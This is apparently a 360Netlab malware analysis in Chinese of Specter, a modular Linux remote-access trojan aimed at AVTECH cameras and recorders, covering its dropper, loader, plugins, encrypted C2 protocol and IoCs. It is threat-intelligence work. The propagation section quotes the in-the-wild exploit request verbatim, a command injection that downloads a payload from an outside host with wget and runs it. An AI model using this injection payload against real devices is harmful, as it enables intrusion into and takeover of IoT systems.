幽灵在行动：Specter分析报告

背景


2020年8月20日，360Netlab未知威胁检测系统捕获了一个通过漏洞传播可疑ELF文件(22523419f0404d628d02876e69458fbe.css)，其独特的文件名，TLS网络流量以及VT杀软0检出的情况，引起了我们的兴趣。


经过分析，我们确定它是一个配置灵活，高度模块化/插件化，使用TLS，ChaCha20，Lz4加密压缩网络通信，针对AVTECH IP Camera / NVR / DVR 设备的恶意家族，我们捕获的ELF是Dropper，会释放出一个Loader,而Loader则会通过加密流量向C2请求各种Plugin以实现不同的功能。样本build路径为/build/arm-specter-linux-uclibcgnueabi，所以我们命名为Specter。


目前来看，Specter有很多不专业的地方，比如，它在释放Loader的同时也释放2个运行时所需要的库，但它们都是dynamically linked。又如下载的Plugin落在文件上再加载而不是在内存中直接展开加载。而且Dropper的传播是利用5年旧的老漏洞；但是在另外一方面，它有良好的分层设计，复杂的网络通信等特性，这显然是专业级玩家的作品。专业伴随着不专业，这一矛盾点使我们推测Specter正处于测试开发阶段。



概览


Specter由Dropper,Loader,Plugin 3大部分组成，主要功能由Loader&Plugin决定，根据我们目前捕获的Plugin，可以将Specter定性为，一款针对Linux平台的远程控制木马(RAT)。


Specter的主要功能有


 * 
   
   
   文件管理
   

 * 
   
   
   下载上传管理
   

 * 
   
   
   Shell服务
   

 * 
   
   
   Socket5 Proxy
   

 * 
   
   
   上报设备信息
   

 * 
   
   
   执行C2下发的脚本
   

 * 
   
   
   执行C2下发可执行文件
   


基本流程如下图所示，





传播方式


Specter通过AVTECH IP Camera / NVR / DVR Devices漏洞传播其Dropper样本，在野利用的Payload如下所示，


GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8




样本分析


简单来说，Specter的感染流程可以分成4个阶段，


Stage 0: 预备阶段，通过漏洞传播，在设备上植入Dropper


Stage 1: 释放阶段，Dropper释放出Loader


Stage 2: 加载阶段，Loader加载Plugin


Stage 3: 业务阶段，Plugin执行C2下发的指令


下文将从Stage1到Stage3着手，分析Specter各个阶段的技术细节。



Stage1：释放阶段，Specter_Dropper分析


Dropper的主要功能为检测运行环境，解密Loader，配置Config，最后释放并启动Loader。





MD5:a8400c378950084fc8ab80b8bb4e5b18


ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped


Packer:No



 * 
   
   
   1.1 解密Loader
   


解密算法为逐字节异或0x79，然后取反。



伴随Loader同时解密的还有运行时库，libc.so.0和ld-uClibc.so.1。目前这俩库没有恶意功能，但是我们推测以后的版本会对这俩个库的某些函数进行劫持，从文件，进程，网络，3个层面隐藏Specter的存在。


 * 
   
   
   1.2 配置Config
   


在Loader样本中寻找写入的位置标志SpctCF，然后在其随后的地址写入Config。




对比如下





 * 
   
   
   1.3 释放运行Loader
   


把Loader释放到/tmp/runtimes/hw_ex_watchdog文件中然后运行，最后删除自身以清理Dropper存在的痕迹。






Stage2：加载阶段，Specter_Loader分析


Loader的主要功能为解密Config，从中得到C2，然后和C2建立加密的通信，执行C2下发的指令，若缺少处理相应指令的Plugin，则向C2请求所需要的Plugin。





MD5:470a092abd67e25463425b611088b1db


ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped


Packer:No



 * 
   
   
   2.1 解密Config
   


Config中有C2，mutex名，nonce等信息，使用ChaCha20加密，其中密钥为CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00，轮数为15。





详细的Config结构如下所示，





以上图这个Config为例，解密所需的nonce(12 bytes)为


c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70



密文为


94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06 
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69 
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B 
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F 
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF 
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7



解密后得到以下明文，可以看到C2为107.182.186.195，mutex为fb4mi5a。


00000000  f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22  |ô6ÎW°FÒ.'.¦.þWâ"|
00000010  52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a  |R4.ð@Mb...niE.¾j|
00000020  66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00  |fb4mi5a.........|
00000030  31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03  |107.182.186.195.|
00000040  00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00  |...443..........|
00000050  00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00  |................|
00000060  00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00     |........Z...<..|



 * 
   
   
   2.2 和C2建立通信
   


通信的过程可以分成4个阶段，采用了TLS，ChaCha20加密算法，lz4压缩算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程，第3阶段是Loader上报设备信息，第4阶段执行C2下发指令过程。


TLS连接





为了分析网络流量，我们做了中间人劫持，最终效果如下，可以看出Specter的网络通信包有固定的格式。





数据包可以分成4大部分，详细的结构见下图，



其中Encrypted Payload_info存有Payload校验，长度，功能ID等信息，[Encrypted?]Compressed Payload则是具体的Payload，Payload除了在秘钥交换阶段只压缩不加密，其余的阶段又加密又压缩


以上图Bot发给C2进行密钥匙交换的数据包为例，


第一部分Encrypted Payload_info用到的加密算法为


ChaCha20
Key:		36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34 
			61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce:		E7 66 29 FB 10 98 F6 5A 80 80 FF 58	



密文为


0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9



解密后得到


C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00

3EC9		---- CRC16 of Payload
0001		---- Cmd Id
00000022	Compressed Payload length
00000020	Decomressed Payload length



Cmd Id的值为1,说明处在秘钥交换阶段，直接解压[Encrypted?]Compressed Payload,得到Bot发给C2的密钥


01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20



协议认证


协议认证过程可以分成2阶段，第1阶段为秘钥交换，第2阶段为身证互认。





根据前文介绍的数据包解密流程，可以解出，


Bot发给C2的秘钥为


01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20



C2发给Bot的秘钥为


19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C



在秘钥交换阶段，Payload只做压缩不加密；交换秘钥之后，Bot和C2以对方的秘钥加密压缩Payload。


用上述秘钥可以解出，


Bot发给C2的认证信息为


00000000:  44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39  DHn74sdPOqnSd259



C2发给Bot的认证信息为


00000000:  6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34  l0SO8hFUxbVsdtQ4



这和我们在样本看到的实现是一致的。




 * 
   
   
   2.3 上报设备信息，诸如MAC/IP地址，系统类型等
   





 * 
   
   
   2.4 执行C2下发的启动Plugin指令
   




Specter实现了一种非常灵活插件管理通信机制，每个插件都要实现以下4个方法，




如果当前没有相应的Plugin，则向C2请求，最终动态加载进Loader的Plugin Slot中。



Stage3：业务阶段，Specter_Plugin分析


当Bot得到C2下发的Plugin时，还不能直接使用，因为它们加密的，解密之后才能加载进Plugin Slot使用。

解密算法为逐字节异或0x7f，然后取反。




以下是我们捕获的一些插件


Shell plugin





Plugin id: 1


c7bf33d159597f55dce31b33a58d52de


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped



Shell plugin的主要功能为开启SHELL服务。





File plugin





Plugin id: 2


e67db6449c18b2e552786df7718a33c8


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped



File plugin的主要功能是文件管理，除了支持对文件目录的读，写，删除，查找操作，还可能从指定的的服务器下载/上传文件。





Socket Plugin





Plugin id: 3


45c5e7bcb9987356b53fd9a78543dcda


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped



Socket Plugin的主要功能为开启Socket5 代理。





SSF Plugin





Plugin id: 5


da0f9a21ae7ee3d15794946ca74a07e3


ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped



SSF Plugin的主要功能是从指定服务器下载可执行文件到本地/tmp/runtimes/httpd_log_output文件，然后执行。






处置建议


我们建议并根据Specter创建的进程，释放目录以及TCP网络连接特征，判断是否被感染，然后清理它的相关进程和文件。


我们建议读者对Specter相关IP，URL和域名进行监控和封锁。


相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。



联系我们


感兴趣的读者，可以在 twitter 或者在微信公众号 360Netlab 上联系我们。



IoC


CC


107.182.186.195:443	ASN25820|IT7_Networks_Inc	United_States|California|Los_Angeles



Sample MD5


04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321



Downloader


http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css